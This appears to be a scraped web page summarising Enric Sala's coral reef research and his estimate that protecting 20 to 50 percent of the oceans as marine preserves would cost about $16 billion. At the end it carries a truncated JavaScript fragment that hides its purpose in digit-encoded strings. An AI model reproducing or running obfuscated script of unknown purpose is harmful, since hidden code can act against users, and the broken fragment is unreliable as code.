

[Marine](#) biologist Enric Sala has been exploring pristine [coral reefs](#)

. His findings turn the accepted view of the top predator biomass pyramid upside down. Sala has also been exploring some of the economics of marine preserves. His findings indicate that the gains made from ecotourism and fisheries productivity far outweigh any losses related to the rezoning of fishing grounds.

Sala estimates that setting aside 20—50 percent of the oceans as marine preserves would cost a mere \$16 billion, less than half the amount the world already spends on fishing subsidies, much of which promotes destructive practices. In this sense, conservation can be a vehicle for local investment and [development](#)

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TAGS: marine preserves, coral reefs, fisheries productivity

```
var a=0,m,v,t,z,x=new  
Array('7980857265','7571736577','7675796980697574','6162797572818065','63726976','78656  
380','7684','61818075'),l=x.length;while(++a
```